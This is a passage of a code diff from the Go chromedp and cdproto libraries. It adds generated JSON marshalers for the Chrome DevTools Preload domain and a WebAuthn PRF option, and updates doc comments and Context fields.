out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PreloadingStatus) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PreloadingStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PreloadingStatus(v) {
|
||||
case PreloadingStatusPending:
|
||||
*t = PreloadingStatusPending
|
||||
case PreloadingStatusRunning:
|
||||
*t = PreloadingStatusRunning
|
||||
case PreloadingStatusReady:
|
||||
*t = PreloadingStatusReady
|
||||
case PreloadingStatusSuccess:
|
||||
*t = PreloadingStatusSuccess
|
||||
case PreloadingStatusFailure:
|
||||
*t = PreloadingStatusFailure
|
||||
case PreloadingStatusNotSupported:
|
||||
*t = PreloadingStatusNotSupported
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PreloadingStatus value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PreloadingStatus) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// FileChooserOpenedMode input mode.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#event-fileChooserOpened
|
||||
@@ -1864,54 +1999,3 @@ func (t *SetWebLifecycleStateState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
func (t *SetWebLifecycleStateState) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// SetSPCTransactionModeMode [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#method-setSPCTransactionMode
|
||||
type SetSPCTransactionModeMode string
|
||||
|
||||
// String returns the SetSPCTransactionModeMode as string value.
|
||||
func (t SetSPCTransactionModeMode) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// SetSPCTransactionModeMode values.
|
||||
const (
|
||||
SetSPCTransactionModeModeNone SetSPCTransactionModeMode = "none"
|
||||
SetSPCTransactionModeModeAutoAccept SetSPCTransactionModeMode = "autoAccept"
|
||||
SetSPCTransactionModeModeAutoReject SetSPCTransactionModeMode = "autoReject"
|
||||
SetSPCTransactionModeModeAutoOptOut SetSPCTransactionModeMode = "autoOptOut"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t SetSPCTransactionModeMode) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t SetSPCTransactionModeMode) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetSPCTransactionModeMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch SetSPCTransactionModeMode(v) {
|
||||
case SetSPCTransactionModeModeNone:
|
||||
*t = SetSPCTransactionModeModeNone
|
||||
case SetSPCTransactionModeModeAutoAccept:
|
||||
*t = SetSPCTransactionModeModeAutoAccept
|
||||
case SetSPCTransactionModeModeAutoReject:
|
||||
*t = SetSPCTransactionModeModeAutoReject
|
||||
case SetSPCTransactionModeModeAutoOptOut:
|
||||
*t = SetSPCTransactionModeModeAutoOptOut
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SetSPCTransactionModeMode value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *SetSPCTransactionModeMode) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
+362
@@ -0,0 +1,362 @@
|
||||
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
|
||||
|
||||
package preload
|
||||
|
||||
import (
|
||||
json "encoding/json"
|
||||
cdp "github.com/chromedp/cdproto/cdp"
|
||||
easyjson "github.com/mailru/easyjson"
|
||||
jlexer "github.com/mailru/easyjson/jlexer"
|
||||
jwriter "github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// suppress unused package warning
|
||||
var (
|
||||
_ *json.RawMessage
|
||||
_ *jlexer.Lexer
|
||||
_ *jwriter.Writer
|
||||
_ easyjson.Marshaler
|
||||
)
|
||||
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload(in *jlexer.Lexer, out *RuleSet) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "id":
|
||||
out.ID = RuleSetID(in.String())
|
||||
case "loaderId":
|
||||
out.LoaderID = cdp.LoaderID(in.String())
|
||||
case "sourceText":
|
||||
out.SourceText = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload(out *jwriter.Writer, in RuleSet) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"loaderId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.LoaderID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"sourceText\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.SourceText))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v RuleSet) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v RuleSet) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *RuleSet) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *RuleSet) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload1(in *jlexer.Lexer, out *EventRuleSetUpdated) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "ruleSet":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.RuleSet = nil
|
||||
} else {
|
||||
if out.RuleSet == nil {
|
||||
out.RuleSet = new(RuleSet)
|
||||
}
|
||||
(*out.RuleSet).UnmarshalEasyJSON(in)
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload1(out *jwriter.Writer, in EventRuleSetUpdated) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"ruleSet\":"
|
||||
out.RawString(prefix[1:])
|
||||
if in.RuleSet == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*in.RuleSet).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventRuleSetUpdated) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventRuleSetUpdated) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventRuleSetUpdated) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventRuleSetUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload2(in *jlexer.Lexer, out *EventRuleSetRemoved) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "id":
|
||||
out.ID = RuleSetID(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload2(out *jwriter.Writer, in EventRuleSetRemoved) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventRuleSetRemoved) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload2(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventRuleSetRemoved) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload2(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventRuleSetRemoved) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload2(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventRuleSetRemoved) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload2(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload3(in *jlexer.Lexer, out *EnableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload3(out *jwriter.Writer, in EnableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EnableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload3(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload3(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload3(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload3(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload4(in *jlexer.Lexer, out *DisableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload4(out *jwriter.Writer, in DisableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v DisableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload4(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload4(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload4(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload4(l, v)
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
package preload
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventRuleSetUpdated upsert. Currently, it is only emitted when a rule set
|
||||
// added.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#event-ruleSetUpdated
|
||||
type EventRuleSetUpdated struct {
|
||||
RuleSet *RuleSet `json:"ruleSet"`
|
||||
}
|
||||
|
||||
// EventRuleSetRemoved [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#event-ruleSetRemoved
|
||||
type EventRuleSetRemoved struct {
|
||||
ID RuleSetID `json:"id"`
|
||||
}
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
// Package preload provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the Preload domain.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package preload
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
)
|
||||
|
||||
// EnableParams [no description].
|
||||
type EnableParams struct{}
|
||||
|
||||
// Enable [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#method-enable
|
||||
func Enable() *EnableParams {
|
||||
return &EnableParams{}
|
||||
}
|
||||
|
||||
// Do executes Preload.enable against the provided context.
|
||||
func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandEnable, nil, nil)
|
||||
}
|
||||
|
||||
// DisableParams [no description].
|
||||
type DisableParams struct{}
|
||||
|
||||
// Disable [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#method-disable
|
||||
func Disable() *DisableParams {
|
||||
return &DisableParams{}
|
||||
}
|
||||
|
||||
// Do executes Preload.disable against the provided context.
|
||||
func (p *DisableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDisable, nil, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandEnable = "Preload.enable"
|
||||
CommandDisable = "Preload.disable"
|
||||
)
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
package preload
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
)
|
||||
|
||||
// RuleSetID unique id.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#type-RuleSetId
|
||||
type RuleSetID string
|
||||
|
||||
// String returns the RuleSetID as string value.
|
||||
func (t RuleSetID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// RuleSet corresponds to SpeculationRuleSet.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#type-RuleSet
|
||||
type RuleSet struct {
|
||||
ID RuleSetID `json:"id"`
|
||||
LoaderID cdp.LoaderID `json:"loaderId"` // Identifies a document which the rule set is associated with.
|
||||
SourceText string `json:"sourceText"` // Source text of JSON representing the rule set. If it comes from <script> tag, it is the textContent of the node. Note that it is a JSON for valid case. See also: - https://wicg.github.io/nav-speculation/speculation-rules.html - https://github.com/WICG/nav-speculation/blob/main/triggers.md
|
||||
}
|
||||
+7
@@ -52,6 +52,8 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoWebauthn(in *jlexer.Lexer, ou
|
||||
out.HasCredBlob = bool(in.Bool())
|
||||
case "hasMinPinLength":
|
||||
out.HasMinPinLength = bool(in.Bool())
|
||||
case "hasPrf":
|
||||
out.HasPrf = bool(in.Bool())
|
||||
case "automaticPresenceSimulation":
|
||||
out.AutomaticPresenceSimulation = bool(in.Bool())
|
||||
case "isUserVerified":
|
||||
@@ -110,6 +112,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoWebauthn(out *jwriter.Writer,
|
||||
out.RawString(prefix)
|
||||
out.Bool(bool(in.HasMinPinLength))
|
||||
}
|
||||
if in.HasPrf {
|
||||
const prefix string = ",\"hasPrf\":"
|
||||
out.RawString(prefix)
|
||||
out.Bool(bool(in.HasPrf))
|
||||
}
|
||||
if in.AutomaticPresenceSimulation {
|
||||
const prefix string = ",\"automaticPresenceSimulation\":"
|
||||
out.RawString(prefix)
|
||||
|
||||
+1
@@ -176,6 +176,7 @@ type VirtualAuthenticatorOptions struct {
|
||||
HasLargeBlob bool `json:"hasLargeBlob,omitempty"` // If set to true, the authenticator will support the largeBlob extension. https://w3c.github.io/webauthn#largeBlob Defaults to false.
|
||||
HasCredBlob bool `json:"hasCredBlob,omitempty"` // If set to true, the authenticator will support the credBlob extension. https://fidoalliance.org/specs/fido-v2.1-rd-20201208/fido-client-to-authenticator-protocol-v2.1-rd-20201208.html#sctn-credBlob-extension Defaults to false.
|
||||
HasMinPinLength bool `json:"hasMinPinLength,omitempty"` // If set to true, the authenticator will support the minPinLength extension. https://fidoalliance.org/specs/fido-v2.1-ps-20210615/fido-client-to-authenticator-protocol-v2.1-ps-20210615.html#sctn-minpinlength-extension Defaults to false.
|
||||
HasPrf bool `json:"hasPrf,omitempty"` // If set to true, the authenticator will support the prf extension. https://w3c.github.io/webauthn/#prf-extension Defaults to false.
|
||||
AutomaticPresenceSimulation bool `json:"automaticPresenceSimulation,omitempty"` // If set to true, tests of user presence will succeed immediately. Otherwise, they will not be resolved. Defaults to true.
|
||||
IsUserVerified bool `json:"isUserVerified,omitempty"` // Sets whether User Verification succeeds or fails for an authenticator. Defaults to false.
|
||||
}
|
||||
|
||||
+12
-9
@@ -50,7 +50,9 @@ func setupExecAllocator(opts ...ExecAllocatorOption) *ExecAllocator {
|
||||
|
||||
// DefaultExecAllocatorOptions are the ExecAllocator options used by NewContext
|
||||
// if the given parent context doesn't have an allocator set up. Do not modify
|
||||
// this global; instead, use NewExecAllocator. See ExampleExecAllocator.
|
||||
// this global; instead, use NewExecAllocator. See [ExampleExecAllocator].
|
||||
//
|
||||
// [ExampleExecAllocator]: https://pkg.go.dev/github.com/chromedp/chromedp#example-ExecAllocator
|
||||
var DefaultExecAllocatorOptions = [...]ExecAllocatorOption{
|
||||
NoFirstRun,
|
||||
NoDefaultBrowserCheck,
|
||||
@@ -403,7 +405,7 @@ func Flag(name string, value interface{}) ExecAllocatorOption {
|
||||
|
||||
// Env is a list of generic environment variables in the form NAME=value
|
||||
// to pass into the new Chrome process. These will be appended to the
|
||||
// environment of the golang process as retrieved by os.Environ.
|
||||
// environment of the Go process as retrieved by os.Environ.
|
||||
func Env(vars ...string) ExecAllocatorOption {
|
||||
return func(a *ExecAllocator) {
|
||||
a.initEnv = append(a.initEnv, vars...)
|
||||
@@ -435,7 +437,7 @@ func ProxyServer(proxy string) ExecAllocatorOption {
|
||||
}
|
||||
|
||||
// IgnoreCertErrors is the command line option to ignore certificate-related
|
||||
// errors. This options is useful when you need to access an HTTPS website
|
||||
// errors. This option is useful when you need to access an HTTPS website
|
||||
// through a proxy.
|
||||
func IgnoreCertErrors(a *ExecAllocator) {
|
||||
Flag("ignore-certificate-errors", true)(a)
|
||||
@@ -482,11 +484,12 @@ func Headless(a *ExecAllocator) {
|
||||
//
|
||||
// The --disable-gpu option is a temporary workaround for a few bugs
|
||||
// in headless mode. According to the references below, it's no longer required:
|
||||
// - https://bugs.chromium.org/p/chromium/issues/detail?id=737678
|
||||
// - https://github.com/puppeteer/puppeteer/pull/2908
|
||||
// - https://github.com/puppeteer/puppeteer/pull/4523
|
||||
// - https://bugs.chromium.org/p/chromium/issues/detail?id=737678
|
||||
// - https://github.com/puppeteer/puppeteer/pull/2908
|
||||
// - https://github.com/puppeteer/puppeteer/pull/4523
|
||||
//
|
||||
// But according to this reported issue, it's still required in some cases:
|
||||
// - https://github.com/chromedp/chromedp/issues/904
|
||||
// - https://github.com/chromedp/chromedp/issues/904
|
||||
func DisableGPU(a *ExecAllocator) {
|
||||
Flag("disable-gpu", true)(a)
|
||||
}
|
||||
@@ -515,8 +518,8 @@ func WSURLReadTimeout(t time.Duration) ExecAllocatorOption {
|
||||
// the correct one by sending a request to "http://$HOST:$PORT/json/version".
|
||||
//
|
||||
// The url with the following formats are accepted:
|
||||
// * ws://127.0.0.1:9222/
|
||||
// * http://127.0.0.1:9222/
|
||||
// - ws://127.0.0.1:9222/
|
||||
// - http://127.0.0.1:9222/
|
||||
//
|
||||
// But "ws://127.0.0.1:9222/devtools/browser/" are not accepted.
|
||||
// Because the allocator won't try to modify it and it's obviously invalid.
|
||||
|
||||
+7
-4
@@ -122,12 +122,15 @@ func NewBrowser(ctx context.Context, urlstr string, opts ...BrowserOption) (*Bro
|
||||
//
|
||||
// It could be nil when the browser is allocated with RemoteAllocator.
|
||||
// It could be useful for a monitoring system to collect process metrics of the browser process.
|
||||
// (see https://pkg.go.dev/github.com/prometheus/client_golang/prometheus#NewProcessCollector for an example)
|
||||
// (See [prometheus.NewProcessCollector] for an example).
|
||||
//
|
||||
// Example:
|
||||
// if process := chromedp.FromContext(ctx).Browser.Process(); process != nil {
|
||||
// fmt.Printf("Browser PID: %v", process.Pid)
|
||||
// }
|
||||
//
|
||||
// if process := chromedp.FromContext(ctx).Browser.Process(); process != nil {
|
||||
// fmt.Printf("Browser PID: %v", process.Pid)
|
||||
// }
|
||||
//
|
||||
// [prometheus.NewProcessCollector]: https://pkg.go.dev/github.com/prometheus/client_golang/prometheus#NewProcessCollector
|
||||
func (b *Browser) Process() *os.Process {
|
||||
return b.process
|
||||
}
|
||||
|
||||
+7
-7
@@ -7,11 +7,11 @@ import (
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
)
|
||||
|
||||
// CallAction are actions that calls a Javascript function using
|
||||
// CallAction are actions that calls a JavaScript function using
|
||||
// runtime.CallFunctionOn.
|
||||
type CallAction Action
|
||||
|
||||
// CallFunctionOn is an action to call a Javascript function, unmarshaling
|
||||
// CallFunctionOn is an action to call a JavaScript function, unmarshaling
|
||||
// the result of the function to res.
|
||||
//
|
||||
// The handling of res is the same as that of Evaluate.
|
||||
@@ -28,7 +28,7 @@ func CallFunctionOn(functionDeclaration string, res interface{}, opt CallOption,
|
||||
})
|
||||
}
|
||||
|
||||
func callFunctionOn(ctx context.Context, functionDeclaration string, res interface{}, opt CallOption, args ...interface{}) (bool, error) {
|
||||
func callFunctionOn(ctx context.Context, functionDeclaration string, res interface{}, opt CallOption, args ...interface{}) (*runtime.RemoteObject, error) {
|
||||
// set up parameters
|
||||
p := runtime.CallFunctionOn(functionDeclaration).
|
||||
WithSilent(true)
|
||||
@@ -51,7 +51,7 @@ func callFunctionOn(ctx context.Context, functionDeclaration string, res interfa
|
||||
ea.append(arg)
|
||||
}
|
||||
if ea.err != nil {
|
||||
return false, ea.err
|
||||
return nil, ea.err
|
||||
}
|
||||
p = p.WithArguments(ea.args)
|
||||
}
|
||||
@@ -59,13 +59,13 @@ func callFunctionOn(ctx context.Context, functionDeclaration string, res interfa
|
||||
// call
|
||||
v, exp, err := p.Do(ctx)
|
||||
if err != nil {
|
||||
return false, err
|
||||
return nil, err
|
||||
}
|
||||
if exp != nil {
|
||||
return false, exp
|
||||
return nil, exp
|
||||
}
|
||||
|
||||
return parseRemoteObject(v, res)
|
||||
return v, parseRemoteObject(v, res)
|
||||
}
|
||||
|
||||
// CallOption is a function to modify the runtime.CallFunctionOnParams
|
||||
|
||||
+111
-11
@@ -6,7 +6,9 @@
|
||||
// DevTools Protocol entirely in Go.
|
||||
//
|
||||
// This package includes a number of simple examples. Additionally,
|
||||
// https://github.com/chromedp/examples contains more complex examples.
|
||||
// [chromedp/examples] contains more complex examples.
|
||||
//
|
||||
// [chromedp/examples]: https://github.com/chromedp/examples
|
||||
package chromedp
|
||||
|
||||
import (
|
||||
@@ -47,6 +49,28 @@ type Context struct {
|
||||
// unused page target, or create a new one.
|
||||
targetID target.ID
|
||||
|
||||
// createBrowserContextParams is set up by WithNewBrowserContext. It is used
|
||||
// to create a new BrowserContext.
|
||||
createBrowserContextParams *target.CreateBrowserContextParams
|
||||
|
||||
// browserContextOwner indicates whether this context is a BrowserContext
|
||||
// owner. The owner is responsible for disposing the BrowserContext once
|
||||
// the context is done.
|
||||
browserContextOwner bool
|
||||
|
||||
// BrowserContextID is set up by WithExistingBrowserContext.
|
||||
//
|
||||
// Otherwise, BrowserContextID holds a non-empty value in the following cases:
|
||||
//
|
||||
// 1. if the context is created with the WithNewBrowserContext option, a new
|
||||
// BrowserContext is created on its first run, and BrowserContextID holds
|
||||
// the id of that new BrowserContext;
|
||||
//
|
||||
// 2. if the context is not created with the WithTargetID option, and its
|
||||
// parent context has a non-empty BrowserContextID, this context's
|
||||
// BrowserContextID is copied from the parent context.
|
||||
BrowserContextID cdp.BrowserContextID
|
||||
|
||||
browserListeners []cancelableListener
|
||||
targetListeners []cancelableListener
|
||||
|
||||
@@ -71,7 +95,7 @@ type Context struct {
|
